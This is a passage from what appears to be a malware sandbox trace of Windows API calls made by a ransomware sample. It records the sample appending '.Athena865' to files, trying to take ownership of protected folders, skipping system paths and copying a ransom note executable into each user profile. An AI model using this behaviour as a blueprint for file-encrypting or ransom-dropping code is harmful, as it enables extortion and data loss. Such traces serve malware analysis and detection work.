-1 [0035.524] lstrlenW (lpString="rpd") returned 3 [0035.524] lstrcmpiW (lpString1="52}", lpString2="rpd") returned -1 [0035.524] lstrlenW (lpString="rsd") returned 3 [0035.524] lstrcmpiW (lpString1="52}", lpString2="rsd") returned -1 [0035.524] lstrlenW (lpString="sas7bdat") returned 8 [0035.524] lstrcmpiW (lpString1="e6cc752}", lpString2="sas7bdat") returned -1 [0035.524] lstrlenW (lpString="sbf") returned 3 [0035.524] lstrcmpiW (lpString1="52}", lpString2="sbf") returned -1 [0035.524] lstrlenW (lpString="scx") returned 3 [0035.524] lstrcmpiW (lpString1="52}", lpString2="scx") returned -1 [0035.524] lstrlenW (lpString="sdb") returned 3 [0035.524] lstrcmpiW (lpString1="52}", lpString2="sdb") returned -1 [0035.524] lstrlenW (lpString="sdc") returned 3 [0035.524] lstrcmpiW (lpString1="52}", lpString2="sdc") returned -1 [0035.524] lstrlenW (lpString="sdf") returned 3 [0035.525] lstrcmpiW (lpString1="52}", lpString2="sdf") returned -1 [0035.525] lstrlenW (lpString="sis") returned 3 [0035.525] lstrcmpiW (lpString1="52}", lpString2="sis") returned -1 [0035.525] lstrlenW (lpString="spq") returned 3 [0035.525] lstrcmpiW (lpString1="52}", lpString2="spq") returned -1 [0035.525] lstrlenW (lpString="te") returned 2 [0035.525] lstrcmpiW (lpString1="2}", lpString2="te") returned -1 [0035.525] lstrlenW (lpString="teacher") returned 7 [0035.525] lstrcmpiW (lpString1="6cc752}", lpString2="teacher") returned -1 [0035.525] lstrlenW (lpString="tmd") returned 3 [0035.525] lstrcmpiW (lpString1="52}", lpString2="tmd") returned -1 [0035.525] lstrlenW (lpString="tps") returned 3 [0035.525] lstrcmpiW (lpString1="52}", lpString2="tps") returned -1 [0035.525] lstrlenW (lpString="trc") returned 3 [0035.525] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.525] lstrlenW (lpString="trc") returned 3 [0035.525] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.525] lstrlenW (lpString="trm") returned 3 [0035.525] lstrcmpiW (lpString1="52}", lpString2="trm") returned -1 [0035.525] lstrlenW (lpString="udb") returned 3 [0035.525] lstrcmpiW (lpString1="52}", lpString2="udb") returned -1 [0035.525] lstrlenW (lpString="udl") returned 3 [0035.525] lstrcmpiW (lpString1="52}", lpString2="udl") returned -1 [0035.525] lstrlenW (lpString="usr") returned 3 [0035.525] lstrcmpiW (lpString1="52}", lpString2="usr") returned -1 [0035.525] lstrlenW (lpString="v12") returned 3 [0035.525] lstrcmpiW (lpString1="52}", lpString2="v12") returned -1 [0035.525] lstrlenW (lpString="vis") returned 3 [0035.525] lstrcmpiW (lpString1="52}", lpString2="vis") returned -1 [0035.525] lstrlenW (lpString="vpd") returned 3 [0035.525] lstrcmpiW (lpString1="52}", lpString2="vpd") returned -1 [0035.525] lstrlenW (lpString="vvv") returned 3 [0035.525] lstrcmpiW (lpString1="52}", lpString2="vvv") returned -1 [0035.525] lstrlenW (lpString="wdb") returned 3 [0035.525] lstrcmpiW (lpString1="52}", lpString2="wdb") returned -1 [0035.525] lstrlenW (lpString="wmdb") returned 4 [0035.525] lstrcmpiW (lpString1="752}", lpString2="wmdb") returned -1 [0035.525] lstrlenW (lpString="wrk") returned 3 [0035.525] lstrcmpiW (lpString1="52}", lpString2="wrk") returned -1 [0035.525] lstrlenW (lpString="xdb") returned 3 [0035.525] lstrcmpiW (lpString1="52}", lpString2="xdb") returned -1 [0035.526] lstrlenW (lpString="xld") returned 3 [0035.526] lstrcmpiW (lpString1="52}", lpString2="xld") returned -1 [0035.526] lstrlenW (lpString="xmlff") returned 5 [0035.526] lstrcmpiW (lpString1="c752}", lpString2="xmlff") returned -1 [0035.526] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865") returned 115 [0035.526] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" (normalized: "c:\\system volume information\\{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}"), lpNewFileName="C:\\System Volume Information\\{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865" (normalized: "c:\\system volume information\\{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.athena865"), dwFlags=0x1) returned 0 [0035.526] GetLastError () returned 0x5 [0035.526] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b8, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4c8 | out: pSid=0x241d4c8*=0x50dc40*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0035.526] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4d4 | out: pSid=0x241d4d4*=0x50dc58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0035.526] SetEntriesInAclW () returned 0x0 [0035.526] SetNamedSecurityInfoW () returned 0x5 [0035.526] SetNamedSecurityInfoW () returned 0x5 [0035.526] LocalFree (hMem=0x529490) returned 0x0 [0035.526] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx TakeOwnership error %i\r\n" | out: param_1="[ERROR] C:\\System Volume Information\\{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.526] lstrlenA (lpString="[ERROR] C:\\System Volume Information\\{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.526] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0035.526] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x116e [0035.526] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x94, lpOverlapped=0x0) returned 1 [0035.526] CloseHandle (hObject=0x154) returned 1 [0035.527] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.527] CloseHandle (hObject=0x0) returned 0 [0035.527] CloseHandle (hObject=0x0) returned 0 [0035.527] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xbfe440b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xbfe440b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xf8d3dce0, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0xcd7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", cAlternateFileName="{B8DAA~3")) returned 0 [0035.527] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0035.527] ReleaseMutex (hMutex=0xec) returned 1 [0035.527] CloseHandle (hObject=0xec) returned 1 [0035.527] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0035.527] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510b30 | out: hHeap=0x4f0000) returned 1 [0035.527] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c248 | out: hHeap=0x4f0000) returned 1 [0035.527] lstrlenW (lpString="C:\\Users") returned 8 [0035.527] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\D5DB53A90457C57F05C14DE79C3338BA") returned 0xec [0035.527] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0035.527] lstrcatW (in: lpString1="", lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0035.528] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0035.528] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\how to back your files.exe"), bFailIfExists=1) returned 0 [0035.528] CreateFileW (lpFileName="C:\\Users\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0035.528] GetLastError () returned 0x0 [0035.528] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0035.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x52c410 [0035.528] ReadFile (in: hFile=0xf4, lpBuffer=0x52c410, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x52c410*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0035.528] CloseHandle (hObject=0xf4) returned 1 [0035.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c410 | out: hHeap=0x4f0000) returned 1 [0035.528] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0035.528] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc3817a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc3817a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0035.528] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.529] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.529] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0035.529] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc3817a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc3817a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.529] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.529] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.529] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0035.529] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0035.529] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbc35b640, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc35b640, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0035.529] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.529] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.529] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2=".") returned 1 [0035.529] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="..") returned 1 [0035.529] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="windows") returned -1 [0035.529] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="bootmgr") returned -1 [0035.529] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="temp") returned -1 [0035.529] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="pagefile.sys") returned -1 [0035.529] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="boot") returned -1 [0035.529] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="ids.txt") returned -1 [0035.529] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="ntuser.dat") returned -1 [0035.529] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="perflogs") returned -1 [0035.529] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="MSBuild") returned -1 [0035.529] lstrlenW (lpString="5p5NrGJn0jS HALPmcxz") returned 20 [0035.529] lstrcpyW (in: lpString1=0x241e85a, lpString2="5p5NrGJn0jS HALPmcxz" | out: lpString1="5p5NrGJn0jS HALPmcxz") returned="5p5NrGJn0jS HALPmcxz" [0035.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c248 [0035.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3c) returned 0x50f838 [0035.529] lstrcatW (in: lpString1="5p5NrGJn0jS HALPmcxz", lpString2="\\" | out: lpString1="5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0035.529] lstrcatW (in: lpString1="5p5NrGJn0jS HALPmcxz\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="5p5NrGJn0jS HALPmcxz\\HOW TO BACK YOUR FILES.exe") returned="5p5NrGJn0jS HALPmcxz\\HOW TO BACK YOUR FILES.exe" [0035.529] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\how to back your files.exe"), bFailIfExists=1) returned 0 [0035.530] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0035.530] lstrcmpiW (lpString1="All Users", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.530] lstrcmpiW (lpString1="All Users", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.530] lstrcmpiW (lpString1="All Users", lpString2=".") returned 1 [0035.530] lstrcmpiW (lpString1="All Users", lpString2="..") returned 1 [0035.530] lstrcmpiW (lpString1="All Users", lpString2="windows") returned -1 [0035.530] lstrcmpiW (lpString1="All Users", lpString2="bootmgr") returned -1 [0035.530] lstrcmpiW (lpString1="All Users", lpString2="temp") returned -1 [0035.530] lstrcmpiW (lpString1="All Users", lpString2="pagefile.sys") returned -1 [0035.530] lstrcmpiW (lpString1="All Users", lpString2="boot") returned -1 [0035.530] lstrcmpiW (lpString1="All Users", lpString2="ids.txt") returned -1 [0035.530] lstrcmpiW (lpString1="All Users", lpString2="ntuser.dat") returned -1 [0035.530] lstrcmpiW (lpString1="All Users", lpString2="perflogs") returned -1 [0035.530] lstrcmpiW (lpString1="All Users", lpString2="MSBuild") returned -1 [0035.530] lstrlenW (lpString="All Users") returned 9 [0035.530] lstrcpyW (in: lpString1=0x241e85a, lpString2="All Users" | out: lpString1="All Users") returned="All Users" [0035.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50dc40 [0035.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x26) returned 0x518108 [0035.530] lstrcatW (in: lpString1="All Users", lpString2="\\" | out: lpString1="All Users\\") returned="All Users\\" [0035.530] lstrcatW (in: lpString1="All Users\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="All Users\\HOW TO BACK YOUR FILES.exe") returned="All Users\\HOW TO BACK YOUR FILES.exe" [0035.530] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\how to back your files.exe"), bFailIfExists=1) returned 0 [0035.531] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc35b640, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc35b640, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0035.531] lstrcmpiW (lpString1="Default", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.531] lstrcmpiW (lpString1="Default", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.531] lstrcmpiW (lpString1="Default", lpString2=".") returned 1 [0035.531] lstrcmpiW (lpString1="Default", lpString2="..") returned 1 [0035.531] lstrcmpiW (lpString1="Default", lpString2="windows") returned -1 [0035.531] lstrcmpiW (lpString1="Default", lpString2="bootmgr") returned 1 [0035.531] lstrcmpiW (lpString1="Default", lpString2="temp") returned -1 [0035.531] lstrcmpiW (lpString1="Default", lpString2="pagefile.sys") returned -1 [0035.531] lstrcmpiW (lpString1="Default", lpString2="boot") returned 1 [0035.531] lstrcmpiW (lpString1="Default", lpString2="ids.txt") returned -1 [0035.531] lstrcmpiW (lpString1="Default", lpString2="ntuser.dat") returned -1 [0035.531] lstrcmpiW (lpString1="Default", lpString2="perflogs") returned -1 [0035.531] lstrcmpiW (lpString1="Default", lpString2="MSBuild") returned -1 [0035.531] lstrlenW (lpString="Default") returned 7 [0035.531] lstrcpyW (in: lpString1=0x241e85a, lpString2="Default" | out: lpString1="Default") returned="Default" [0035.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50dc58 [0035.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x22) returned 0x518138 [0035.531] lstrcatW (in: lpString1="Default", lpString2="\\" | out: lpString1="Default\\") returned="Default\\" [0035.531] lstrcatW (in: lpString1="Default\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Default\\HOW TO BACK YOUR FILES.exe") returned="Default\\HOW TO BACK YOUR FILES.exe" [0035.531] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\how to back your files.exe"), bFailIfExists=1) returned 0 [0035.531] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0035.531] lstrcmpiW (lpString1="Default User", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.531] lstrcmpiW (lpString1="Default User", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.532] lstrcmpiW (lpString1="Default User", lpString2=".") returned 1 [0035.532] lstrcmpiW (lpString1="Default User", lpString2="..") returned 1 [0035.532] lstrcmpiW (lpString1="Default User", lpString2="windows") returned -1 [0035.532] lstrcmpiW (lpString1="Default User", lpString2="bootmgr") returned 1 [0035.532] lstrcmpiW (lpString1="Default User", lpString2="temp") returned -1 [0035.532] lstrcmpiW (lpString1="Default User", lpString2="pagefile.sys") returned -1 [0035.532] lstrcmpiW (lpString1="Default User", lpString2="boot") returned 1 [0035.532] lstrcmpiW (lpString1="Default User", lpString2="ids.txt") returned -1 [0035.532] lstrcmpiW (lpString1="Default User", lpString2="ntuser.dat") returned -1 [0035.532] lstrcmpiW (lpString1="Default User", lpString2="perflogs") returned -1 [0035.532] lstrcmpiW (lpString1="Default User", lpString2="MSBuild") returned -1 [0035.532] lstrlenW (lpString="Default User") returned 12 [0035.532] lstrcpyW (in: lpString1=0x241e85a, lpString2="Default User" | out: lpString1="Default User") returned="Default User" [0035.532] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50dd48 [0035.532] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x2c) returned 0x51a910 [0035.532] lstrcatW (in: lpString1="Default User", lpString2="\\" | out: lpString1="Default User\\") returned="Default User\\" [0035.532] lstrcatW (in: lpString1="Default User\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Default User\\HOW TO BACK YOUR FILES.exe") returned="Default User\\HOW TO BACK YOUR FILES.exe" [0035.532] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\how to back your files.exe"), bFailIfExists=1) returned 0 [0035.532] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x3b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="")) returned 1 [0035.532] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.532] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.532] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2=".") returned 1 [0035.532] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="..") returned 1 [0035.532] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="windows") returned -1 [0035.532] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="bootmgr") returned 1 [0035.533] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="temp") returned -1 [0035.533] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="pagefile.sys") returned -1 [0035.533] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="boot") returned 1 [0035.533] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ids.txt") returned -1 [0035.533] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ntuser.dat") returned -1 [0035.533] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="perflogs") returned -1 [0035.533] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="MSBuild") returned -1 [0035.533] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0035.533] lstrcpyW (in: lpString1=0x241e85a, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0035.533] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0035.533] lstrlenW (lpString="Athena865") returned 9 [0035.533] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0035.533] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc2e9220, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc2e9220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0035.533] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0035.533] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc3a7900, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc3a7900, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0035.533] lstrcmpiW (lpString1="Public", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.533] lstrcmpiW (lpString1="Public", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.533] lstrcmpiW (lpString1="Public", lpString2=".") returned 1 [0035.533] lstrcmpiW (lpString1="Public", lpString2="..") returned 1 [0035.533] lstrcmpiW (lpString1="Public", lpString2="windows") returned -1 [0035.533] lstrcmpiW (lpString1="Public", lpString2="bootmgr") returned 1 [0035.533] lstrcmpiW (lpString1="Public", lpString2="temp") returned -1 [0035.533] lstrcmpiW (lpString1="Public", lpString2="pagefile.sys") returned 1 [0035.533] lstrcmpiW (lpString1="Public", lpString2="boot") returned 1 [0035.533] lstrcmpiW (lpString1="Public", lpString2="ids.txt") returned 1 [0035.533] lstrcmpiW (lpString1="Public", lpString2="ntuser.dat") returned 1 [0035.533] lstrcmpiW (lpString1="Public", lpString2="perflogs") returned 1 [0035.533] lstrcmpiW (lpString1="Public", lpString2="MSBuild") returned 1 [0035.533] lstrlenW (lpString="Public") returned 6 [0035.533] lstrcpyW (in: lpString1=0x241e85a, lpString2="Public" | out: lpString1="Public") returned="Public" [0035.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50dd60 [0035.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x20) returned 0x50e210 [0035.533] 